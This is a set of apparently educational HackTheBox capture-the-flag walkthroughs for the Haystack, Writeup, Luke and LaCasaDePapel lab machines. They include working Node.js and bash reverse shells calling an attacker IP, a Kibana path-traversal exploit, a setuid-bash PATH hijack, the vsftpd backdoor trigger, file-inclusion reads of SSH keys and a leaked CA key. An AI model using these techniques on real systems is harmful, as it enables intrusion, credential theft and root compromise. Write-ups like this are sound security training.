HackTheBox – Haystack

The initial nmap scan of Haystack didn’t reveal a lot of open ports:

# Nmap 7.70 scan initiated Sun Jul 14 11:42:39 2019 as: nmap -o nmap_full -p- 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.025s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9200/tcp open  wap-wsp

On port 80 only a picture of a needle in a haystack was displayed. Nothing else could be found on that web-server neither with gobuster nor dirb. We of course don’t have any credentials yet for SSH on port 22 so only port 9200 remains. On port 9200 Elasticsearch is listening. There is no authentication configured for it either.

First, let’s get the configured indexes:

# curl -s 'http://10.10.10.115:9200/_cat/indices?v' 
health status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb
yellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb
yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb

This tells us that there might be a Kibana interface running on top of it, but it’s not accessible yet for us. There are two other indexes “quotes” and “bank”. This was a pretty annoying part of this box, retrieving all the data from “bank” only showed a bunch of account information, but no passwords or anything useful at all. “quotes” was mostly text in Spanish. Searching through this data for “needle” this result set appeared:

      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "2",
        "_score": 1,
        "_source": {
          "quote": "There's a needle in this haystack, you have to search for it"
        }

So this was the right path. After scrolling through the results two messages contained base64 encoded text:

# curl -X GET "http://10.10.10.115:9200/quotes/_search?size=10000" -H 'Content-Type: application/json' -d'
(...)
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "45",
        "_score": 1,
        "_source": {
          "quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
        }
      },
(...)
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "111",
        "_score": 1,
        "_source": {
          "quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
        }
      },
(...)

Those quotes translated and decoded are:

I have to save the password for the machine: user: security
This key can not be lost, I keep it here: pass: spanish.is.key

With this we can now login via SSH and get the user flag. Looking around on the system there is only one service that caught our attention: logstash
It’s running as root. The configuration of it is mostly readable to us but the files in “/etc/logstash/conf.d” are only readable by the “kibana” user.
There is also a Kibana instance running as we were already suspecting which only listens on 127.0.0.1:5601. This version has a vulnerability (CVE-2018-17246) which allows us execute code as the Kibana process. We first start a local netcat listener on port 1337 and then create a JavaScript reverse shell in “/tmp/shell.js”:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.14.9", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

After that triggering the vulnerability by running:

$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../../../../../tmp/shell.js'

gives us a new reverse shell as the “kibana” user:

# nc -vnlp 1337
listening on [any] 1337 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.115] 53254
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0

With that we can now read the configuration files in “/etc/logstash/conf.d”:

$ cat input.conf
input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}

$ cat filter.conf
filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

$ cat output.conf
output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}

This is a rather simple Logstash configuration. Logstash will read files matching “/opt/kibana/logstash_*”. The file will be parsed and a “comando” variable will be extracted by a regex. And that variable will be executed.
The folder “/opt/kibana” is writeable by the “kibana” user. We start a local netcat listener again on port 4444.
After that create the following reverse shell wrapper as “/tmp/rev.sh”:

#!/bin/sh
bash -i >& /dev/tcp/10.10.14.9/4444 0>&1

Give the script executable permissions then run as the “kibana” user:

$ echo "Ejecutar comando : /tmp/rev.sh" >> /opt/kibana/logstash_rev

And after a few seconds on our listener we get back a connection:

# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.115] 56596
bash: no hay control de trabajos en este shell
[root@haystack /]# id
id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack ~]# cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92

HackTheBox – Writeup

The initial nmap scan only revealed open ports tcp/22 and tcp/80 but otherwise nothing interesting. The website also didn’t have any features, just static text:

However it did warn us that some sort of DoS protection was active and indeed, sending a few requests to non existing pages gets our IP banned for a couple of minutes.

After a bit I tried to request /robots.txt and that gives this back:

# curl http://10.10.10.138/robots.txt
#              __
#      _(\    |@@|
#     (__/\__ \--/ __
#        \___|----|  |   __
#            \ }{ /\ )_ / _\
#            /\__/\ \__O (__
#           (--/\--)    \__/
#           _)(  )(_
#          `---''---`

# Disallow access to the blog until content is finished.
User-agent: * 
Disallow: /writeup/

The /writeup/ page itself again is not very interesting, but the source code of each page reveals the CMS software used:

# curl -s http://10.10.10.138/writeup/ |head -n 7
<!doctype html>
<html lang="en_US"><head>
	<title>Home - writeup</title>
	
<base href="http://10.10.10.138/writeup/" />
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

There is a known vulnerability for this software with a public exploit (https://www.exploit-db.com/exploits/46635). It is using a blind SQL injection to fetch the password hash and salt. Running this exploit gives us a username and password:

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

With those credentials we can use SSH and login to the server.

Getting root took a bit of time, I’ve enumerated the system and used pspy to figure out changes to the system but still couldn’t figure it out. There was a cronjob running via /root/bin/cleanup.pl but it appeared not possible to exploit that.

But the cronjob seemed to be centered around /usr/local/bin and /usr/local/sbin. The permissions of that folder were strange and non-default. I could write files to it but not list them. And the cronjob probably removed them.

I put most attention now on the fail2ban script which ran iptables to ban and unban IPs but I couldn’t make it work, it wouldn’t run my placed /usr/local/sbin/iptables file.

When I logged in with a second session I saw the following on pspy output:

2019/06/10 08:17:21 CMD: UID=0    PID=2948   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2019/06/10 08:17:21 FS:               ACCESS | /var/log/auth.log
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /var/log/auth.log
2019/06/10 08:17:21 FS:                 OPEN | /etc/passwd
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/passwd
2019/06/10 08:17:21 FS:                 OPEN | /etc/passwd
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/passwd
2019/06/10 08:17:21 FS:                 OPEN | /etc/ld.so.cache
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/ld.so.cache
2019/06/10 08:17:21 FS:                 OPEN | /usr/bin/env
2019/06/10 08:17:21 FS:               ACCESS | /usr/bin/env
2019/06/10 08:17:21 CMD: UID=0    PID=2949   | run-parts --lsbsysinit /etc/update-motd.d 

That sounded exactly like what I needed! On every login on the server the system executes run-parts. And it specifically sets a $PATH variable where the first entry is writeable to us.

I’ve decided to try to get a local root shell without needing a reverse shell. I’ve created the following run-parts file in /tmp/faker/:

#!/bin/sh

/bin/cp /bin/bash /tmp/faker/bash
/bin/chown root:root /tmp/faker/bash
/bin/chmod +s /tmp/faker/bash

Basically, it copies /bin/bash, makes sure it is root owned and adds the setuid bit.
Afterwards just copy the run-parts script to /usr/local/sbin and ssh to the server again. We now got a root shell by executing /tmp/faker/bash -p:

$ cp /tmp/faker/run-parts /usr/local/sbin/
$ ssh jkr@10.10.10.138
(...)
$ cd /tmp/faker
$ ls -l
total 5452
-rwsr-sr-x 1 root root 1099016 Jun 10 07:58 bash
-rwxr-xr-x 1 jkr  jkr  4468984 Jun 10 07:59 pspy64
-rwxr-xr-x 1 jkr  jkr       79 Jun 10 08:21 run-parts
$ ./bash -p     
bash-4.4# cat /root/root.txt 
eeba47f60b48**********************

HackTheBox – Luke

The initial nmap scan revealed a bunch of open ports:

# nmap 10.10.10.137
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-20 06:43 EDT
Nmap scan report for 10.10.10.137
Host is up (0.022s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
8000/tcp open  http-alt

The FTP server on port tcp/21 allows anonymous connections. There is only one file on it:

# cat for_Chihiro.txt 
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! 

Derry  

The web application on port tcp/80 appears to be a very simple static page without much functionality.
Port tcp/3000 looks like some sort of API that requires authentication.
And tcp/8000 is running Ajenti, a server administration panel which also requires credentials.

Using dirbuster on port tcp/80 the following paths are found (among others):

/login.php
/management

The /management folder requires credentials that we do not have yet. With the hint from the file from the FTP server we notice that it’s possible to see the source code by requesting the file with the phps extension. At the very top, login.php references config.php:

And config.php reveals the password for a MySQL database:

Using dirbuster on port tcp/3000 the following paths are found (among others):

/login
/users
/users/admin

Requesting / tells us that a token is required:

# curl http://10.10.10.137:3000/
{"success":false,"message":"Auth token is not supplied"}

Since there is a /login endpoint we try to send data to it. Trying to send broken JSON to it reveals an error message:

# curl 'http://10.10.10.137:3000/login' -X POST -d '{ x }' -H "Content-Type: application/json"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>

<pre>SyntaxError: Unexpected token x in JSON at position 2
 &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)
 &nbsp; &nbsp;at parse (/nodeapp/node_modules/body-parser/lib/types/json.js:89:19)
 &nbsp; &nbsp;at /nodeapp/node_modules/body-parser/lib/read.js:121:18
 &nbsp; &nbsp;at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)
 &nbsp; &nbsp;at done (/nodeapp/node_modules/raw-body/index.js:213:7)
 &nbsp; &nbsp;at IncomingMessage.onEnd (/nodeapp/node_modules/raw-body/index.js:273:7)
 &nbsp; &nbsp;at IncomingMessage.emit (events.js:202:15)
 &nbsp; &nbsp;at endReadableNT (_stream_readable.js:1132:12)
 &nbsp; &nbsp;at processTicksAndRejections (internal/process/next_tick.js:76:17)</pre>

</body>
</html>

That means that it probably expects JSON. Simply by guessing we try the password extracted from config.php and the username admin from the /users/admin endpoint:

# curl 'http://10.10.10.137:3000/login' -X POST -d '{ "username": "admin", "password": "Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json"
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI4MTE0LCJleHAiOjE1NjExMTQ1MTR9.e3YkeFLe6xwmsUyZMXC_bMRTjEDNt7fTR9mZTlMg5Dk"}

This returns a token, with that we can request /users which reveals a list of users:

# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users | jq .
[
  {
    "ID": "1",
    "name": "Admin",
    "Role": "Superuser"
  },
  {
    "ID": "2",
    "name": "Derry",
    "Role": "Web Admin"
  },
  {
    "ID": "3",
    "name": "Yuri",
    "Role": "Beta Tester"
  },
  {
    "ID": "4",
    "name": "Dory",
    "Role": "Supporter"
  }
]

And now we can request details of each user which reveals a password for every account:

# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/admin | jq .
{
  "name": "Admin",
  "password": "WX5b7)>/rp$U)FW"
}
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/derry | jq .
{
  "name": "Derry",
  "password": "rZ86wwLvx7jUxtch"
}
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/yuri | jq .
{
  "name": "Yuri",
  "password": "bet@tester87"
}
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/dory | jq .
{
  "name": "Dory",
  "password": "5y:!xa=ybfe)/QD"
}

Trying those accounts on the remaining protected areas, we figure out that the Derry account works on the /management folder on port tcp/80. In that folder are 3 files, 2 of which we already know:

config.json
config.php
login.php

Requesting config.json reveals some Ajenti configuration:

# curl 'http://Derry:rZ86wwLvx7jUxtch@10.10.10.137/management/config.json'
{
    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
                "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
                "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
                "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
                "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
                "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
                "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
                "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
                "ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
                "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
                "ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
                "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
                "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
                "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
            }, 
            "password": "KpMasng6S5EtTy9Z", 
            "permissions": []
        }
    }, 
    "language": "", 
    "bind": {
        "host": "0.0.0.0", 
        "port": 8000
    }, 
    "enable_feedback": true, 
    "ssl": {
        "enable": false, 
        "certificate_path": ""
    }, 
    "authentication": true, 
    "installation_id": 12354
}

And among that also a new password. With this password and the username root we can now finally login at port tcp/8000:

That system helpfully contains a “Terminal” feature. Creating a new session for it, creates a shell in our browser with root privileges. With that we can get both flags:

HackTheBox – LaCasaDePapel

LaCasaDePapel – an easy box mostly related to web technologies.

First a nmap scan of the target:

# nmap 10.10.10.131 -A
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-09 02:27 EDT
Nmap scan report for 10.10.10.131
Host is up (0.083s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-alpn: 
|_  http/1.1

The website on either port 80 nor 443 presented us with anything useful.
80 allowed us to register an account but the confirmation email was not sent and port 443 expected a client certificate.

Instead vsftpd is interesting, there is a known backdoor for that version. There are existing exploits released for this but the last step always failed so I did this manually:

# telnet 10.10.10.131 21
Trying 10.10.10.131...
Connected to 10.10.10.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER letmein:)
331 Please specify the password.
PASS please

After that we can connect to the backdoor on port 6200. But we are not granted a normal shell, instead it’s a “Psy Shell”. It still allows us to read local files, so we get /etc/passwd and it also gave us the CA key required for a client certificate:

# telnet 10.10.10.131 6200
Trying 10.10.10.131...
Connected to 10.10.10.131.
Escape character is '^]'.
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
ls -al

Variables:
$tokyo Tokyo {#2307}
$_ null

file_get_contents('/etc/passwd')
=> """
root:x:0:0:root:/root:/bin/ash\n
bin:x:1:1:bin:/bin:/sbin/nologin\n
daemon:x:2:2:daemon:/sbin:/sbin/nologin\n
adm:x:3:4:adm:/var/adm:/sbin/nologin\n
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n
sync:x:5:0:sync:/sbin:/bin/sync\n
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\n
halt:x:7:0:halt:/sbin:/sbin/halt\n
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin\n
news:x:9:13:news:/usr/lib/news:/sbin/nologin\n
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\n
operator:x:11:0:operator:/root:/bin/sh\n
man:x:13:15:man:/usr/man:/sbin/nologin\n
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin\n
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin\n
ftp:x:21:21::/var/lib/ftp:/sbin/nologin\n
sshd:x:22:22:sshd:/dev/null:/sbin/nologin\n
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\n
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\n
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\n
games:x:35:35:games:/usr/games:/sbin/nologin\n
postgres:x:70:70::/var/lib/postgresql:/bin/sh\n
cyrus:x:85:12::/usr/cyrus:/sbin/nologin\n
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin\n
ntp:x:123:123:NTP:/var/empty:/sbin/nologin\n
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\n
guest:x:405:100:guest:/dev/null:/sbin/nologin\n
nobody:x:65534:65534:nobody:/:/sbin/nologin\n
chrony:x:100:101:chrony:/var/log/chrony:/sbin/nologin\n
dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh\n
berlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ash\n
professor:x:1002:1002:professor,,,:/home/professor:/bin/ash\n
vsftp:x:101:21:vsftp:/var/lib/ftp:/sbin/nologin\n
memcached:x:102:102:memcached:/home/memcached:/sbin/nologin\n
"""

show Tokyo
> 2| class Tokyo {
3| private function sign($caCert,$userCsr) {
4| $caKey = file_get_contents('/home/nairobi/ca.key');
5| $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
6| openssl_x509_export($userCert, $userCertOut);
7| return $userCertOut;
8| }
9| }

file_get_contents('/home/nairobi/ca.key');
=> """
-----BEGIN PRIVATE KEY-----\n
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb\n
7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/\n
2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl\n
uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M\n
YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp\n
s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us\n
PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V\n
Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89\n
1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ\n
/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+\n
q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr\n
uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd\n
I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og\n
7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE\n
G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn\n
sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH\n
CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y\n
sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI\n
ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2\n
zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/\n
ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC\n
9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M\n
WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM\n
7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR\n
aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc\n
53udBEzjt3WPqYGkkDknVhjD\n
-----END PRIVATE KEY-----\n
"""

Now we can sign our own client certificate. First we need to download the CA certificate, you can use Firefox to export it or simply run:

# openssl s_client -showcerts -connect 10.10.10.131:443 </dev/null

Next we’ll create our own private key and sign it with the leaked CA:

# openssl genrsa -out zertifikat-key.pem 4096
# openssl req -new -key zertifikat-key.pem -out zertifikat.csr -sha512
# openssl x509 -req -in zertifikat.csr -CA lacasadepapelhtb.crt -CAkey ca.key -CAcreateserial -out zertifikat-pub.pem -days 365 -sha512
# openssl pkcs12 -export -in zertifikat-pub.pem -inkey zertifikat-key.pem -out cert.p12

You can import the cert.p12 file into Firefox and then visit the site:

This portal allows us to download files, looking at the URLs, we see quickly that the last parameter is base64 encoded and contains a trivial LFI:

# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp -I
HTTP/1.1 200 OK
X-Powered-By: Express
Content-disposition: attachment; filename=01.avi
Content-Length: 0
Date: Sun, 09 Jun 2019 06:45:27 GMT
Connection: keep-alive

# echo "U0VBU09OLTEvMDEuYXZp" |base64 -d
SEASON-1/01.avi
# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem https://10.10.10.131/file/`echo "$(echo -n "../../../../../../etc/hosts" | base64)"`
192.168.1.85	lacasadepapel
127.0.0.1	localhost localhost.localdomain
::1		localhost localhost.localdomain

After some more enumeration we get the SSH private key of the user “berlin” and use it to login as the user “professor”:

# curl -k --cacert lacasadepapelhtb.crt --key zertifikat-key.pem --cert zertifikat-pub.pem https://10.10.10.131/file/`echo "$(echo -n "../.ssh/id_rsa" | base64)"` -o id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3389  100  3389    0     0   3825      0 --:--:-- --:--:-- --:--:--  3820
# chmod 600 id_rsa 
# ssh professor@10.10.10.131 -i id_rsa

 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|       

lacasadepapel [~]$ id
uid=1002(professor) gid=1002(professor) groups=1002(professor)

Now after a while trying to figure out the privilege escalation we’ve noticed that the process ID of “/usr/bin/node /home/professor/memcached.js” keeps changing, so this service is constantly restarted.

And we also have in our home directory the configuration file (“memcached.ini”) and the executed JavaScript file (“memcached.js”) but no permission to write to those files.

As those files are in our home directory and we have write privileges to the folder in which those files are stored, we can simply move them away and create new files. We’ve created “memcached.ini.new” with the content:

[program:memcached]
command = sudo /usr/bin/node /home/professor/memcached.js

And “memcached.js.new” with the content:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.10.x.y", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Started nc to listen to incoming connections on port tcp/8080:

# nc -vnlp 8080
listening on [any] 8080 ...

And now move the files into the right place:

mv memcached.ini memcached.ini.bak 
mv memcached.ini.new memcached.ini 
mv memcached.js memcached.js.bak
mv memcached.js.new memcached.js

And after a minute or so back at our listener we get a root shell and can finally get the flags:

# nc -vnlp 8080
listening on [any] 8080 ...
connect to [10.10.x.y] from (UNKNOWN) [10.10.10.131] 38794
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
cat /home/berlin/user.txt
4dcbd172f(...)
cat /root/root.txt
586979c48(...)